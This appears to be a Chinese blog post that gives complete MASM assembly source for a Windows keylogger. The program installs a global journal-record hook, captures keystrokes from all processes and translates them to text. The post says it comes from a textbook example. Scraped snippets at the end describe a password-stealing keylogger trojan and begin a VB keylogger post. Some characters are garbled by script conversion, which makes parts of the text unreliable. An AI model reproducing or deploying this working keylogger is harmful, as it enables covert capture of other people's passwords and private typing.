鍵盤記錄程式

2021-05-21 22:29:15 字數 2252 閱讀 1615

這是乙個《windows環境下32位組合語言程式設計》中的例子,在動態鏈結庫和鉤子那章,作為乙個鉤子的示例程式。原理很簡單,裝個全域性鉤子,然後鉤住所有的鍵盤資訊即可。但是這裡存在兩個問題,一是裝什麼型別的全域性鉤子才能鉤住所有程序的鍵盤資訊,二是鉤住的鍵盤資訊的翻譯。大家都知道,鉤子函式鉤住的資訊是以掃瞄碼和偽程式碼,不是我們現實中看到的鍵盤資訊,因此如何翻譯也是個問題。當然,說穿了一點都不稀奇,第乙個問題的答案是,需要安裝乙個日誌記錄鉤子,即wh_journalrecord,書山還有個鉤子例子,是用wm_keyboard,但是,至少在例子上只能顯示本程序的鍵盤資訊。第二個答案是api函式toascii。完整**如下,在xp+sp3下測試通過。

.386

.model flat,stdcall

option casemap:none

include windows.inc

include user32.inc

includelib user32.lib

include kernel32.inc

includelib kernel32.lib

con_main equ 1000

dlg_main equ 1000

idc_text equ 1001

.data?

hinstance dd ?

hwinmain dd ?

hhook dd ?

szascii db 32 dup (?)

.code

hookproc proc _dwcode,_wparam,_lparam

local @szkeystate[256]:byte

invoke callnexthookex,hhook,_dwcode,_wparam,_lparam

pushad

.if _dwcode == hc_action

mov ebx,_lparam

assume ebx:ptr eventmsg

.if [ebx].message==wm_keydown

invoke getkeyboardstate,addr @szkeystate

invoke getkeystate,vk_shift

mov @szkeystate + vk_shift,al

mov ecx,[ebx].paramh

shr ecx,16

invoke toascii,[ebx].paraml,ecx,addr @szkeystate,addr szascii,0

mov byte ptr szascii [eax],0

.if szascii == 0dh

mov word ptr szascii+1,0ah

.endif

invoke senddlgitemmessage,hwinmain,idc_text,em_replacesel,0,addr szascii

.endif

assume ebx:nothing

.endif

popad

rethookproc endp

_procdlgmain proc uses ebx edi esi hwnd,wmsg,wparam,lparam

mov eax,wmsg

.if eax == wm_close

invoke unhookwindowshookex,hhook

invoke enddialog,hwnd,null

.elseif eax == wm_initdialog

push hwnd

pop hwinmain

invoke setwindowshookex,wh_journalrecord,addr hookproc,hinstance,null

.if eax

mov hhook,eax

.else

invoke enddialog,hwnd,null

.endif

.else

mov eax,false

ret.endif

mov eax,true

ret_procdlgmain endp

start:

invoke getmodulehandle,null

mov hinstance,eax

invoke dialogboxparam,eax,dlg_main,null,offset _procdlgmain,null

invoke exitprocess,null

end start

鍵盤記錄木馬 鍵盤記錄員

鍵盤記錄員108627 win32.pswtroj.onlinegames.xn.108627 這個病毒是乙個盜號木馬程式。它利用鍵盤記錄的方法,記錄下使用者輸入的全部資訊,進行加密後傳送給病毒作者。病毒作者通過一定技術手段,就可以從這些資訊中篩選出使用者的各類帳號和密碼。此篇預警播報中的病毒,是乙...

vb鍵盤記錄

private sub timer1 timer dx鍵盤記錄 on error resume next static keyarray 255 as byte dim key count as integer,vkeycode as integer,vkeyasc as string di key...

小鍵盤記錄

小鍵盤記錄 2010年03月21日 發指令碼之前,我想講一下關於寫入檔案的問題,看了幾個教程,對於我這樣的菜鳥十分生澀,很難理解。我覺得有必要再講講,以下是我自己理解的,可能不對,請高手指教。首先講這個 vbs const forreading 1 vbs const forwriting 2 也有...